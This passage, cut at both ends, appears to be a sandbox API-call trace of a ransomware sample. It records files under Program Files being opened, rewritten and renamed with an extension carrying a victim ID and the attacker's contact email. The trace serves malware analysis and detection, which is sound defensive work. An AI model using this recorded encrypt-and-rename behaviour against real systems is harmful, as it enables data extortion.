lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0117.138] GetProcessHeap () returned 0x630000 [0117.138] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4061) returned 0x7207ff0 [0117.138] GetProcessHeap () returned 0x630000 [0117.138] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4061) returned 0x720c060 [0117.138] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.138] ReadFile (in: hFile=0x694, lpBuffer=0x7207ff0, nNumberOfBytesToRead=0x4040, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7207ff0*, lpNumberOfBytesRead=0x50fff0c*=0x4040, lpOverlapped=0x0) returned 1 [0118.657] GetProcessHeap () returned 0x630000 [0118.657] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fedf68 [0118.658] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.658] WriteFile (in: hFile=0x694, lpBuffer=0x720c060*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x720c060*, lpNumberOfBytesWritten=0x50fff0c*=0x4040, lpOverlapped=0x0) returned 1 [0118.658] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.658] WriteFile (in: hFile=0x694, lpBuffer=0x721009f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x721009f*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0118.658] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.658] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0118.658] CloseHandle (hObject=0x694) returned 1 [0118.659] GetProcessHeap () returned 0x630000 [0118.659] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x720c060 | out: hHeap=0x630000) returned 1 [0118.659] GetProcessHeap () returned 0x630000 [0118.659] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7207ff0 | out: hHeap=0x630000) returned 1 [0118.659] GetProcessHeap () returned 0x630000 [0118.659] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fedf68 | out: hHeap=0x630000) returned 1 [0118.659] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0118.660] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xcad15aa, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4064, dwReserved0=0xa207496, dwReserved1=0x7207fe8, cFileName="klist.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="KLISTE~1.FIR")) returned 0x6d5580 [0118.660] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0118.660] Sleep (dwMilliseconds=0x1) [0120.644] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml", len=0x4a | out: pbstr=0x50fff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 1 [0120.644] GetProcessHeap () returned 0x630000 [0120.644] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1d4) returned 0x66a3e0 [0120.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0120.670] CloseHandle (hObject=0x694) returned 1 [0120.671] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.671] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0120.671] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.672] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x212876, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.common.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APPXMA~2.FIR")) returned 0x6d5200 [0120.672] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0120.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0120.672] GetProcessHeap () returned 0x630000 [0120.672] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7198738 [0120.672] GetProcessHeap () returned 0x630000 [0120.672] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71a3b68 [0120.672] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.672] ReadFile (in: hFile=0x694, lpBuffer=0x7198738, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7198738*, lpNumberOfBytesRead=0x50fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0126.058] GetProcessHeap () returned 0x630000 [0126.058] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0126.059] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.059] WriteFile (in: hFile=0x694, lpBuffer=0x71a3b68*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71a3b68*, lpNumberOfBytesWritten=0x50fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0127.420] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.420] WriteFile (in: hFile=0x694, lpBuffer=0x71aef67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71aef67*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0128.302] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.302] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0128.302] CloseHandle (hObject=0x694) returned 1 [0130.201] GetProcessHeap () returned 0x630000 [0130.201] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71a3b68 | out: hHeap=0x630000) returned 1 [0130.201] GetProcessHeap () returned 0x630000 [0130.201] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7198738 | out: hHeap=0x630000) returned 1 [0130.203] GetProcessHeap () returned 0x630000 [0130.204] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0131.455] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.456] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x138ee5db, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x21289a, dwReserved0=0xa207496, dwReserved1=0x7198730, cFileName="AppXManifest.common.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APPXMA~2.FIR")) returned 0x6d4f00 [0131.456] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0131.456] Sleep (dwMilliseconds=0x1) [0131.470] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties", len=0x44 | out: pbstr=0x50fff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 1 [0131.470] GetProcessHeap () returned 0x630000 [0131.471] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x4c) returned 0x66a3e0 [0131.471] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0131.471] CloseHandle (hObject=0x694) returned 1 [0131.471] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.472] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0131.472] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.472] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1650, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_ko.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MEDCEB~1.FIR")) returned 0x6d4f00 [0131.472] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0131.473] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0131.473] GetProcessHeap () returned 0x630000 [0131.473] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1661) returned 0x71b8cf8 [0131.473] GetProcessHeap () returned 0x630000 [0131.473] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1661) returned 0x6ed2090 [0131.473] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.473] ReadFile (in: hFile=0x694, lpBuffer=0x71b8cf8, nNumberOfBytesToRead=0x1640, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71b8cf8*, lpNumberOfBytesRead=0x50fff0c*=0x1640, lpOverlapped=0x0) returned 1 [0131.496] GetProcessHeap () returned 0x630000 [0131.496] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317a68 [0131.496] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.496] WriteFile (in: hFile=0x694, lpBuffer=0x6ed2090*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed2090*, lpNumberOfBytesWritten=0x50fff0c*=0x1640, lpOverlapped=0x0) returned 1 [0131.496] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.496] WriteFile (in: hFile=0x694, lpBuffer=0x6ed36cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed36cf*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0131.496] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.496] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0131.496] CloseHandle (hObject=0x694) returned 1 [0131.498] GetProcessHeap () returned 0x630000 [0131.498] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed2090 | out: hHeap=0x630000) returned 1 [0131.498] GetProcessHeap () returned 0x630000 [0131.498] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71b8cf8 | out: hHeap=0x630000) returned 1 [0131.498] GetProcessHeap () returned 0x630000 [0131.498] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317a68 | out: hHeap=0x630000) returned 1 [0131.498] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.498] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x14539c6a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1674, dwReserved0=0xa207496, dwReserved1=0x71b8cf0, cFileName="messages_ko.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MEDCEB~1.FIR")) returned 0x6d5200 [0131.498] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0131.498] Sleep (dwMilliseconds=0x1) [0131.530] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties", len=0x44 | out: pbstr=0x50fff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 1 [0131.531] GetProcessHeap () returned 0x630000 [0131.531] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x40) returned 0x66a3e0 [0131.531] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0131.532] CloseHandle (hObject=0x6d4) returned 1 [0131.532] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.532] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0134.382] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.382] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_fr.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ME2058~1.FIR")) returned 0x6d5480 [0134.382] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0134.382] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0134.382] GetProcessHeap () returned 0x630000 [0134.382] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd61) returned 0x727d80 [0134.382] GetProcessHeap () returned 0x630000 [0134.382] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd61) returned 0x717930 [0134.382] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.382] ReadFile (in: hFile=0x6d4, lpBuffer=0x727d80, nNumberOfBytesToRead=0xd40, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesRead=0x50fff0c*=0xd40, lpOverlapped=0x0) returned 1 [0134.434] GetProcessHeap () returned 0x630000 [0134.434] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0134.434] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.434] WriteFile (in: hFile=0x6d4, lpBuffer=0x717930*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x717930*, lpNumberOfBytesWritten=0x50fff0c*=0xd40, lpOverlapped=0x0) returned 1 [0134.434] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.434] WriteFile (in: hFile=0x6d4, lpBuffer=0x71866f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71866f*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0134.434] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.434] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0134.435] CloseHandle (hObject=0x6d4) returned 1 [0134.435] GetProcessHeap () returned 0x630000 [0134.435] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717930 | out: hHeap=0x630000) returned 1 [0134.435] GetProcessHeap () returned 0x630000 [0134.435] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0134.435] GetProcessHeap () returned 0x630000 [0134.435] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0134.436] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.436] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x161465dd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd75, dwReserved0=0xa207496, dwReserved1=0x727d78, cFileName="messages_fr.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ME2058~1.FIR")) returned 0x6d5540 [0134.436] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0134.436] Sleep (dwMilliseconds=0x1) [0134.478] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF", len=0x44 | out: pbstr=0x50fff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 1 [0134.478] GetProcessHeap () returned 0x630000 [0134.478] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x194) returned 0x66a3e0 [0134.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0134.478] CloseHandle (hObject=0x69c) returned 1 [0134.478] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0134.478] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0134.479] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.479] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf92, dwReserved0=0x0, dwReserved1=0x0, 